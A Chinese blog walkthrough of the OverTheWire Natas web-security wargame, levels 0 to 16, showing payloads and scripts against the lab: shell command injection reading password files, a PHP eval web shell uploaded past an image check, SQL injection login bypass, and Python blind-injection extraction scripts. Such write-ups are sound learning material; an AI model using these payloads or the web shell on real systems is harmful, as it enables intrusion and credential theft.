Natas 是OverTheWire网站中一个关于Web安全的一个在线靶场,采取闯关的方式,题目一般是循序渐进的,做了几道觉得觉得还挺有意思的,所以记录一下。
链接: https://overthewire.org/wargames/natas/
每一关的目标就是获得下一关的登录密码。每关的密码都存放在/etc/natas_webpass/natasX
中,比如打开http://natas0.natas.labs.overthewire.org 的密码就存放在/etc/natas_webpass/natas5
中。
natas0 链接:http://natas0.natas.labs.overthewire.org
打开题目,直接右键查看源码就可以看到natas1
的登录密码:
natas Level 0 -> natas Level 1 链接:http://natas1.natas.labs.overthewire.org
打开题目看到提示:
1 You can find the password for the next level on this page, but rightclicking has been blocked!
不能查看源码了,所以直接F12
看源码,发现登录密码:
natas Level 1 -> natas Level 2 链接:http://natas2.natas.labs.overthewire.org
打开题目,再次查看源码,在源码中发现了可疑的files/pixel.png
没发现什么东西,但是这说明在Web目录下存在一个叫做files
的子目录,直接访问一下这个子目录http://natas2.natas.labs.overthewire.org/files/
:
查看users.txt
文件,在里面发现了natas3
的登录密码:natas3:sJIJNW6ucpu6HPZ1ZAchaDtwd7oGrD14
。
natas Level 2 -> natas Level 3 链接:http://natas3.natas.labs.overthewire.org
右键查看源码:
提示说即使Google
搜索也不会发现,也就是提示我们应该去看robots.txt
文件,因为这个文件通常会告诉网络搜索引擎网站中的哪些内容是不应该爬取的。
1 2 User-agent: * Disallow: /s3cr3t/
所以我们访问http://natas3.natas.labs.overthewire.org/s3cr3t/
,得到一个user.txt
文件,访问该文件得到下一关的登录密码:natas4:Z9tkRkWmpt9Qr7XrR5jWRkgOU901swEZ
。
natas Level 3 -> natas Level 4 链接:http://natas4.natas.labs.overthewire.org
打开题目看到提示说当前访问的referer
来自http://natas4.natas.labs.overthewire.org/
,但是应该来自http://natas5.natas.labs.overthewire.org/
:
所以用burp抓个包,改个referer就可以了:
得到下一关的密码:iX6IOfmpN7AYOQGPwtn3fXpbaJVJcHfq
。
natas Level 4 -> natas Level 5 链接:http://natas5.natas.labs.overthewire.org
本关提示:
1 Access disallowed. You are not logged in
用burp抓个包看看,发现存在cookie
字段loggedin=0
,显然0
表示没登录,改成1
即可:
得到登陆密码:aGoY4q2Dc6MgDq4oL4YtoKtyAg9PeHa1
。
natas Level 5 -> natas Level 6 链接:http://natas6.natas.labs.overthewire.org
打开题目,本关有源码,看一下:
1 2 3 4 5 6 7 8 9 10 11 <? include "includes/secret.inc" ;if (array_key_exists("submit" , $_POST)) { if ($secret == $_POST['secret' ]) { print "Access granted. The password for natas7 is <censored>" ; } else { print "Wrong secret" ; } } ?>
我们需要传入一个POST参数secret
,这个值需要和变量$secret
的值一样,所以要先得到$secret
的值。
在源码顶部包含了文件includes/secret.inc
,$secret
参数应该就在这个文件中,访问一下可以得到:
1 2 3 <? $secret = "FOEIUWGHFEEUHOFUOIU" ; ?>
所以得到下一关的密码:7z3hEENjQtflzgnT29q7wAvMNfZdh0i9
。
natas Level 6 -> natas Level 7 链接:http://natas7.natas.labs.overthewire.org
打开题目看到:
这里有两个页面,Home
和About
,点击一下Home
发现url发生了改变,变成了:
1 http://natas7.natas.labs.overthewire.org/index.php?page=home
访问About
,就变成了:
1 http://natas7.natas.labs.overthewire.org/index.php?page=about
然后右键查看源码看到提示:
所以访问
1 http://natas7.natas.labs.overthewire.org/index.php?page=/etc/natas_webpass/natas8
就能得到密码:DBfUBfqQG69KvJvJ1iAbMoIpwSNQ9bWe
。
natas Level 7 -> natas Level 8 链接:http://natas8.natas.labs.overthewire.org
本关又是很简单的代码审计:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <? $encodedSecret = "3d3d516343746d4d6d6c315669563362" ; function encodeSecret ($secret) { return bin2hex(strrev(base64_encode($secret))); } if (array_key_exists("submit" , $_POST)) { if (encodeSecret($_POST['secret' ]) == $encodedSecret) { print "Access granted. The password for natas9 is <censored>" ; } else { print "Wrong secret" ; } } ?>
源码中对用户传递的参数$_POST['secret']
进行了简单的加密,加密后的值应该和$encodedSecret
相同,所以对$encodedSecret
进行解密就可以知道我们应该传递怎样的参数值:
1 2 3 4 5 6 7 <?php $code = "3d3d516343746d4d6d6c315669563362" ; function decodeSecret ($secret) { return base64_decode(strrev(hex2bin($secret))); } print_r(decodeSecret($code)); ?>
令secret
为oubWYf2kBq
,得到下一关的密码:W0mMhUcRRnG8dcghE4qvk3JA9lGt8nDl
。
natas Level 8 -> natas Level 9 链接:http://natas9.natas.labs.overthewire.org
查看源码:
1 2 3 4 5 6 7 8 9 10 11 <? $key = "" ; if (array_key_exists("needle" , $_REQUEST)) { $key = $_REQUEST["needle" ]; } if ($key != "" ) { passthru("grep -i $key dictionary.txt" ); } ?>
源码中可以看到需要我们传入参数needle
,如果needle
不为空字符串,则调用passthru
函数执行grep
命令读取dictionary.txt
文件中的内容,其中-i
表示不区分大小写。
而且题目中已经告知,每关的flag都存放在/etc/natas_webpass/natasX
中,其中X
表示关卡数,所以本关的flag存放在/etc/natas_webpass/natas10
中。
所以我构造了grep -i 123 123.txt || cat /etc/natas_webpass/natas10 %23
。
我们知道在linux中可以一次性执行多个命令:
1 2 3 cmd1;cmd2;cmd3; // 命令执行前后没有依赖关系 cmd1 || cmd2 // 命令cmd1执行失败了之后会执行cmd2,命令cmd1执行成功则不执行cmd2 cmd1 && cmd2 // 当命令cmd1执行成功之后才会执行cmd2
因为不存在123.txt
,所以会执行cat /etc/passwd
:
而且在命令执行中#
符号表示注释掉后面的命令,如下面这个例子只会输出10
,#
后面的会被注释掉。
当然对于这个例子来说,没有#
也无妨,只是会输出dictionary.txt
中的内容而已,但是如果要用的话得注意将#
编码。
得到natas10
的密码:nOpp1igQAkUzaI1GUUjzn1bFVj7xCNzu
。
natas Level 9 -> natas Level 10 链接:http://natas10.natas.labs.overthewire.org
直接查看源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <? $key = "" ; if (array_key_exists("needle" , $_REQUEST)) { $key = $_REQUEST["needle" ]; } if ($key != "" ) { if (preg_match('/[;|&]/' ,$key)) { print "Input contains an illegal character!" ; } else { passthru("grep -i $key dictionary.txt" ); } } ?>
这道题我们看到是用preg_replace
函数对needle
参数进行过滤,在needle
参数中不能包含;
,|
和&
字符。
但是grep
命令和cat
命令一样,都是可以读取多文件的,而且支持正则表达式搜索,所以我们可以这样构造:
1 .* /etc/natas_webpass/natas11 %23
得到密码:U82q5TCMMQ9xuFoI3dYX61s7OZD9JKoK
。
natas Level 10 -> natas Level 11 链接:http://natas11.natas.labs.overthewire.org
先看下源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 <? $defaultdata = array ( "showpassword" =>"no" , "bgcolor" =>"#ffffff" ); function xor_encrypt ($in) { $key = '<censored>' ; $text = $in; $outText = '' ; for ($i=0 ;$i<strlen($text);$i++) { $outText .= $text[$i] ^ $key[$i % strlen($key)]; } return $outText; } function loadData ($def) { global $_COOKIE; $mydata = $def; if (array_key_exists("data" , $_COOKIE)) { $tempdata = json_decode(xor_encrypt(base64_decode($_COOKIE["data" ])), true ); if (is_array($tempdata) && array_key_exists("showpassword" , $tempdata) && array_key_exists("bgcolor" , $tempdata)) { if (preg_match('/^#(?:[a-f\d]{6})$/i' , $tempdata['bgcolor' ])) { $mydata['showpassword' ] = $tempdata['showpassword' ]; $mydata['bgcolor' ] = $tempdata['bgcolor' ]; } } } return $mydata; } function saveData ($d) { setcookie("data" , base64_encode(xor_encrypt(json_encode($d)))); } $data = loadData($defaultdata); if (array_key_exists("bgcolor" ,$_REQUEST)) { if (preg_match('/^#(?:[a-f\d]{6})$/i' , $_REQUEST['bgcolor' ])) { $data['bgcolor' ] = $_REQUEST['bgcolor' ]; } } saveData($data); ?> <h1>natas11</h1> <div id="content" > <body style="background: <?=$data['bgcolor']?>;" > Cookies are protected with XOR encryption<br/><br/> <? if ($data["showpassword" ] == "yes" ) { print "The password for natas12 is <censored><br>" ; } ?>
页面中同时存在提示:
1 Cookies are protected with XOR encryption
用burp抓个包,能看到这样的Cookie值:
1 Cookie: data=ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSEV4sFxFeaAw%3D
这道题需要一点密码学知识,我在这一块不太灵光,所以就先借用别人的答案。
密码 : EDXp0pS26wLKHZy1rDBPUZk0RKfLGIR3
natas Level 11 -> natas Level 12 链接:http://natas12.natas.labs.overthewire.org
本关考察的是文件上传:
直接看源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 ? function genRandomString () { $length = 10 ; $characters = "0123456789abcdefghijklmnopqrstuvwxyz" ; $string = "" ; for ($p = 0 ; $p < $length; $p++) { $string .= $characters[mt_rand(0 , strlen($characters)-1 )]; } return $string; } function makeRandomPath ($dir, $ext) { do { $path = $dir."/" .genRandomString()."." .$ext; } while (file_exists($path)); return $path; } function makeRandomPathFromFilename ($dir, $fn) { $ext = pathinfo($fn, PATHINFO_EXTENSION); return makeRandomPath($dir, $ext); } if (array_key_exists("filename" , $_POST)) { $target_path = makeRandomPathFromFilename("upload" , $_POST["filename" ]); if (filesize($_FILES['uploadedfile' ]['tmp_name' ]) > 1000 ) { echo "File is too big" ; } else { if (move_uploaded_file($_FILES['uploadedfile' ]['tmp_name' ], $target_path)) { echo "The file <a href=\"$target_path\">$target_path</a> has been uploaded" ; } else { echo "There was an error uploading the file, please try again!" ; } } } else { ?> <form enctype="multipart/form-data" action="index.php" method="POST" > <input type="hidden" name="MAX_FILE_SIZE" value="1000" /> <input type="hidden" name="filename" value="<? print genRandomString(); ?>.jpg" /> Choose a JPEG to upload (max 1 KB):<br/> <input name="uploadedfile" type="file" /><br /> <input type="submit" value="Upload File" /> </form> <? } ?>
这道题很简单,直接上传个小马就可以了:
1 <?php eval ($_POST['cmd' ]); ?>
然后访问小马得到natas13
的密码:jmLTY0qiPZBbaKc9341cqPQZBJv7MQbY
。
natas Level 12 -> natas Level 13 链接:http://natas13.natas.labs.overthewire.org
打开题目就看到提示必需上传一张图片,然后再来看一下源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 <? function genRandomString () { $length = 10 ; $characters = "0123456789abcdefghijklmnopqrstuvwxyz" ; $string = "" ; for ($p = 0 ; $p < $length; $p++) { $string .= $characters[mt_rand(0 , strlen($characters)-1 )]; } return $string; } function makeRandomPath ($dir, $ext) { do { $path = $dir."/" .genRandomString()."." .$ext; } while (file_exists($path)); return $path; } function makeRandomPathFromFilename ($dir, $fn) { $ext = pathinfo($fn, PATHINFO_EXTENSION); return makeRandomPath($dir, $ext); } if (array_key_exists("filename" , $_POST)) { $target_path = makeRandomPathFromFilename("upload" , $_POST["filename" ]); $err=$_FILES['uploadedfile' ]['error' ]; if ($err){ if ($err === 2 ){ echo "The uploaded file exceeds MAX_FILE_SIZE" ; } else { echo "Something went wrong :/" ; } } else if (filesize($_FILES['uploadedfile' ]['tmp_name' ]) > 1000 ) { echo "File is too big" ; } else if (! exif_imagetype($_FILES['uploadedfile' ]['tmp_name' ])) { echo "File is not an image" ; } else { if (move_uploaded_file($_FILES['uploadedfile' ]['tmp_name' ], $target_path)) { echo "The file <a href=\"$target_path\">$target_path</a> has been uploaded" ; } else { echo "There was an error uploading the file, please try again!" ; } } } else { ?> <form enctype="multipart/form-data" action="index.php" method="POST" > <input type="hidden" name="MAX_FILE_SIZE" value="1000" /> <input type="hidden" name="filename" value="<? print genRandomString(); ?>.jpg" /> Choose a JPEG to upload (max 1 KB):<br/> <input name="uploadedfile" type="file" /><br /> <input type="submit" value="Upload File" /> </form> <? } ?>
代码中会用exif_imagetype
函数来获取图片类型,这个很好绕过,只要在文件中添加图片头就可以了,比如gif的文件头是GIF89a
。
这里额外需要注意的是,这里上传的默认文件后缀是.jpg
,需要修改为.php
,如下图所示:
1 2 3 http://natas13.natas.labs.overthewire.org/upload/vnja0i8yjc.php // POST cmd=system("cat /etc/natas_webpass/natas14");
执行得到:
得到下一关密码:Lg96M10TdfaPyVBkJdjymbllQ5L6qdl1
。
natas Level 13 -> natas Level 14 链接:http://natas14.natas.labs.overthewire.org
查看源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 <? if (array_key_exists("username" , $_REQUEST)) { $link = mysql_connect('localhost' , 'natas14' , '<censored>' ); mysql_select_db('natas14' , $link); $query = "SELECT * from users where username=\"" .$_REQUEST["username" ]."\" and password=\"" .$_REQUEST["password" ]."\"" ; if (array_key_exists("debug" , $_GET)) { echo "Executing query: $query<br>" ; } if (mysql_num_rows(mysql_query($query, $link)) > 0 ) { echo "Successful login! The password for natas15 is <censored><br>" ; } else { echo "Access denied!<br>" ; } mysql_close($link); } else { ?> <form action="index.php" method="POST" > Username: <input name="username" ><br> Password: <input name="password" ><br> <input type="submit" value="Login" /> </form> <? } ?>
从源码可以看到$_REQUEST["username"]
是用户完全可控的,没有经过任何过滤就直接拼接进了SQL查询语句,而且用的是双括号,所以直接用万能密码即可:
1 2 username : 1" or 1=1 # password : 123
natas15
的登录密码是AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J
。
natas Level 14 -> natas Level 15 链接:http://natas15.natas.labs.overthewire.org
还是sql注入题目,源码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 <? if (array_key_exists("username" , $_REQUEST)) { $link = mysql_connect('localhost' , 'natas15' , '<censored>' ); mysql_select_db('natas15' , $link); $query = "SELECT * from users where username=\"" .$_REQUEST["username" ]."\"" ; if (array_key_exists("debug" , $_GET)) { echo "Executing query: $query<br>" ; } $res = mysql_query($query, $link); if ($res) { if (mysql_num_rows($res) > 0 ) { echo "This user exists.<br>" ; } else { echo "This user doesn't exist.<br>" ; } } else { echo "Error in query.<br>" ; } mysql_close($link); } else { ?> <form action="index.php" method="POST" > Username: <input name="username" ><br> <input type="submit" value="Check existence" /> </form> <? } ?>
打开题目看到的就是根据用户名查询:
查询natas1
到natas15
返回的都是This user doesn't exist.
,但是查询下一关的用户natas16
,返回的确是This user exists.
,只有两种状态,用户存在和用户不存在,所以我们可以用布尔盲注来解决这道题。
之前对于盲注,我都会这么构造:
1 username=natas16" and (ascii(substr((select password from users),1,1))>-1) #
但是对于本道题不适用,这么构造会报错,因为Subquery returns more than 1 row
。
所以我们还可以用模糊匹配,MySQL支持用LIKE BINARY ...%
来进行模糊匹配。其中BINARY
关键字表示大小写敏感,比如我们现在新建一个数据表users
,并插入数据:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 mysql> create table users( -> id int(6) unsigned auto_increment primary key, -> username varchar(20) not null, -> email varchar(20) not null ); Query OK, 0 rows affected (0.04 sec) mysql> INSERT INTO users VALUE(1, 'Cosimo', 'Cosimo@gmail.com'); Query OK, 1 row affected (0.01 sec) mysql> INSERT INTO users VALUE(2, 'Lorenzo', 'Lorenzo@gmail.com'); Query OK, 1 row affected (0.01 sec) mysql> INSERT INTO users VALUE(3, 'Piero', 'Piero@gmail.com'); Query OK, 1 row affected (0.00 sec)
%r%
表示匹配字段中含有字符r
的数据,r%
表示匹配字段值以字符r
开头的数据:
1 2 3 4 5 6 7 8 9 10 mysql> SELECT * FROM users WHERE username='Piero' and email LIKE BINARY '%r%'; +----+----------+-----------------+ | id | username | email | +----+----------+-----------------+ | 3 | Piero | Piero@gmail.com | +----+----------+-----------------+ 1 row in set (0.00 sec) mysql> SELECT * FROM users WHERE username='Piero' and email LIKE BINARY 'r%'; Empty set (0.00 sec)
对本道题,我们可以进行如下注入:
1 username=natas16" AND password LIKE BINARY '%a%' #
返回的结果是The user exists.
,说明在密码中含有字符a
:
1 username=natas16" AND password LIKE BINARY '%A%' #
返回的结果是The user doesn't exist.
,说明在密码中不含字符A
:
脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 import requestsfrom requests.auth import HTTPBasicAuthusername = 'natas15' password = 'AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J' url = 'http://natas15.natas.labs.overthewire.org' chars = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ' candidate_chars = '' passwd = '' print ("[*] Natas15 -> Natas16 Start!" )for ch in chars: payload = 'natas16" AND password LIKE BINARY "%' + ch + '%" #' r = requests.post(url = url, auth=HTTPBasicAuth(username, password), data={'username' :payload}) if "exists" in r.text: candidate_chars += ch print ("[-] Characters Used : " , candidate_chars) for i in range(0 , 32 ): for ch in candidate_chars: payload = 'natas16" AND password LIKE BINARY "' + passwd + ch + '%" #' r = requests.post(url = url, auth=HTTPBasicAuth(username, password), data={'username' :payload}) if "exists" in r.text: passwd += ch print ("[-] Password : " , passwd, "*" *(32 -i-1 )) break print ("[*] Natas15 -> Natas16 Completed!" )
上面exp中用了两个for循环,第一个for循环中的payload匹配方式是%...%
,主要目的是找出密码中用到的字符;第二个for循环匹配密码。
结果:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 [*] Natas15 -> Natas16 Start! [-] Characters Used : 0 [-] Characters Used : 03 [-] Characters Used : 035 [-] Characters Used : 0356 [-] Characters Used : 03569 [-] Characters Used : 03569a [-] Characters Used : 03569ac [-] Characters Used : 03569ace [-] Characters Used : 03569aceh [-] Characters Used : 03569acehi [-] Characters Used : 03569acehij [-] Characters Used : 03569acehijm [-] Characters Used : 03569acehijmn [-] Characters Used : 03569acehijmnp [-] Characters Used : 03569acehijmnpq [-] Characters Used : 03569acehijmnpqt [-] Characters Used : 03569acehijmnpqtw [-] Characters Used : 03569acehijmnpqtwB [-] Characters Used : 03569acehijmnpqtwBE [-] Characters Used : 03569acehijmnpqtwBEH [-] Characters Used : 03569acehijmnpqtwBEHI [-] Characters Used : 03569acehijmnpqtwBEHIN [-] Characters Used : 03569acehijmnpqtwBEHINO [-] Characters Used : 03569acehijmnpqtwBEHINOR [-] Characters Used : 03569acehijmnpqtwBEHINORW [-] Password : W ******************************* [-] Password : Wa ****************************** [-] Password : WaI ***************************** [-] Password : WaIH **************************** [-] Password : WaIHE *************************** [-] Password : WaIHEa ************************** [-] Password : WaIHEac ************************* [-] Password : WaIHEacj ************************ [-] Password : WaIHEacj6 *********************** [-] Password : WaIHEacj63 ********************** [-] Password : WaIHEacj63w ********************* [-] Password : WaIHEacj63wn ******************** [-] Password : WaIHEacj63wnN ******************* [-] Password : WaIHEacj63wnNI ****************** [-] Password : WaIHEacj63wnNIB ***************** [-] Password : WaIHEacj63wnNIBR **************** [-] Password : WaIHEacj63wnNIBRO *************** [-] Password : WaIHEacj63wnNIBROH ************** [-] Password : WaIHEacj63wnNIBROHe ************* [-] Password : WaIHEacj63wnNIBROHeq ************ [-] Password : WaIHEacj63wnNIBROHeqi *********** [-] Password : WaIHEacj63wnNIBROHeqi3 ********** [-] Password : WaIHEacj63wnNIBROHeqi3p ********* [-] Password : WaIHEacj63wnNIBROHeqi3p9 ******** [-] Password : WaIHEacj63wnNIBROHeqi3p9t ******* [-] Password : WaIHEacj63wnNIBROHeqi3p9t0 ****** [-] Password : WaIHEacj63wnNIBROHeqi3p9t0m ***** [-] Password : WaIHEacj63wnNIBROHeqi3p9t0m5 **** [-] Password : WaIHEacj63wnNIBROHeqi3p9t0m5n *** [-] Password : WaIHEacj63wnNIBROHeqi3p9t0m5nh ** [-] Password : WaIHEacj63wnNIBROHeqi3p9t0m5nhm * [-] Password : WaIHEacj63wnNIBROHeqi3p9t0m5nhmh [*] Natas15 -> Natas16 Completed!
密码是:WaIHEacj63wnNIBROHeqi3p9t0m5nhmh
。
natas Level 15 -> natas Level 16 链接:http://natas16.natas.labs.overthewire.org
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <? $key = "" ; if (array_key_exists("needle" , $_REQUEST)) { $key = $_REQUEST["needle" ]; } if ($key != "" ) { if (preg_match('/[;|&`\'"]/' ,$key)) { print "Input contains an illegal character!" ; } else { passthru("grep -i \"$key\" dictionary.txt" ); } } ?>
这道题和前面的一道题的差别有两点:
过滤的字符增加了
用户可控的$key
用双括号""
处理了
我看了网上别的大佬的WP,发现可以用grep
来实现盲注,我们知道用grep
查找文件中的某个字符串时,如果能找到,则返回整个该字符串所在行的字符,反之什么都不返回。
我们已经知道natas17
的密码存放在/etc/natas_webpass/natas17
,所以对于
1 grep a /etc/natas_webpass/natas17
如果字符a
在/etc/natas_webpass/natas17
中就会返回整行密码,反之则返回""
。
现在只需要让grep a /etc/natas_webpass/natas17
执行即可。我们知道在linux中,`符号和$()都可以执行命令,现在过滤的只是前者,所以可以构造:
1 grep -i \"$(grep a /etc/natas_webpass/natas17)\" dictionary.txt
对于$(grep a /etc/natas_webpass/natas17)
,返回的是dictionary.txt
中的内容:
说明$(grep a /etc/natas_webpass/natas17)
的结果是""
,也就是字符a
并不在,所以最后会执行
1 grep -i "" dictionary.txt
会返回整个dictionary.txt
的内容。
而对于$(grep A /etc/natas_webpass/natas17)
,返回的是Output:\n<pre>\n</pre>
:
说明字符A
在/etc/natas_webpass/natas17
中,所以会返回整行文本,再和dictionary.txt
中的文本进行匹配,自然匹配不到任何东西,所以不会输出任何东西。
循着这个思路,可以写一个脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 import requestsfrom requests.auth import HTTPBasicAuthusername = 'natas16' password = 'WaIHEacj63wnNIBROHeqi3p9t0m5nhmh' chars = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ' candidate_chars = '' passwd = '' print ("[*] Start!" )for ch in chars: payload = '$(grep ' + ch + ' /etc/natas_webpass/natas17' url = 'http://natas16.natas.labs.overthewire.org/?needle=' + payload + ')&submit=Search' r = requests.get(url = url, auth=HTTPBasicAuth(username, password)) if 'Output:\n<pre>\n</pre>' in r.text: candidate_chars += ch print('[-] Characaters Used : ' , candidate_chars) for i in range(0 , 32 ): for ch in candidate_chars: payload = '$(grep ^' + passwd + ch + ' /etc/natas_webpass/natas17)' url = 'http://natas16.natas.labs.overthewire.org/?needle=' + payload + '&submit=Search' r = requests.get(url=url, auth=HTTPBasicAuth(username, password)) if 'Output:\n<pre>\n</pre>' in r.text: passwd += ch break print ("[-] Password : " , passwd, '*' *(32 -i-1 )) print ("[*] Completed!" )
第一个for循环主要是找出在密码中用到的字符,第二个for循环:
1 payload = '$(grep ^' + passwd + ch + ' /etc/natas_webpass/natas17)'
用^
来限定第一个字符。
最后得到结果:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 [*] Start! [-] Characaters Used : 0 [-] Characaters Used : 03 [-] Characaters Used : 035 [-] Characaters Used : 0357 [-] Characaters Used : 03578 [-] Characaters Used : 035789 [-] Characaters Used : 035789b [-] Characaters Used : 035789bc [-] Characaters Used : 035789bcd [-] Characaters Used : 035789bcdg [-] Characaters Used : 035789bcdgh [-] Characaters Used : 035789bcdghk [-] Characaters Used : 035789bcdghkm [-] Characaters Used : 035789bcdghkmn [-] Characaters Used : 035789bcdghkmnq [-] Characaters Used : 035789bcdghkmnqr [-] Characaters Used : 035789bcdghkmnqrs [-] Characaters Used : 035789bcdghkmnqrsw [-] Characaters Used : 035789bcdghkmnqrswA [-] Characaters Used : 035789bcdghkmnqrswAG [-] Characaters Used : 035789bcdghkmnqrswAGH [-] Characaters Used : 035789bcdghkmnqrswAGHN [-] Characaters Used : 035789bcdghkmnqrswAGHNP [-] Characaters Used : 035789bcdghkmnqrswAGHNPQ [-] Characaters Used : 035789bcdghkmnqrswAGHNPQS [-] Characaters Used : 035789bcdghkmnqrswAGHNPQSW [-] Password : 8 ******************************* [-] Password : 8P ****************************** [-] Password : 8Ps ***************************** [-] Password : 8Ps3 **************************** [-] Password : 8Ps3H *************************** [-] Password : 8Ps3H0 ************************** [-] Password : 8Ps3H0G ************************* [-] Password : 8Ps3H0GW ************************ [-] Password : 8Ps3H0GWb *********************** [-] Password : 8Ps3H0GWbn ********************** [-] Password : 8Ps3H0GWbn5 ********************* [-] Password : 8Ps3H0GWbn5r ******************** [-] Password : 8Ps3H0GWbn5rd ******************* [-] Password : 8Ps3H0GWbn5rd9 ****************** [-] Password : 8Ps3H0GWbn5rd9S ***************** [-] Password : 8Ps3H0GWbn5rd9S7 **************** [-] Password : 8Ps3H0GWbn5rd9S7G *************** [-] Password : 8Ps3H0GWbn5rd9S7Gm ************** [-] Password : 8Ps3H0GWbn5rd9S7GmA ************* [-] Password : 8Ps3H0GWbn5rd9S7GmAd ************ [-] Password : 8Ps3H0GWbn5rd9S7GmAdg *********** [-] Password : 8Ps3H0GWbn5rd9S7GmAdgQ ********** [-] Password : 8Ps3H0GWbn5rd9S7GmAdgQN ********* [-] Password : 8Ps3H0GWbn5rd9S7GmAdgQNd ******** [-] Password : 8Ps3H0GWbn5rd9S7GmAdgQNdk ******* [-] Password : 8Ps3H0GWbn5rd9S7GmAdgQNdkh ****** [-] Password : 8Ps3H0GWbn5rd9S7GmAdgQNdkhP ***** [-] Password : 8Ps3H0GWbn5rd9S7GmAdgQNdkhPk **** [-] Password : 8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq *** [-] Password : 8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9 ** [-] Password : 8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9c * [-] Password : 8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw [*] Completed!
所以下一关的密码是:8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw
。
—————————————————- 手动分界线 —————————————————-
因为篇幅还有时间的原因,就先写这么多吧,这个Natas靶场一共有34关,就先做一半吧。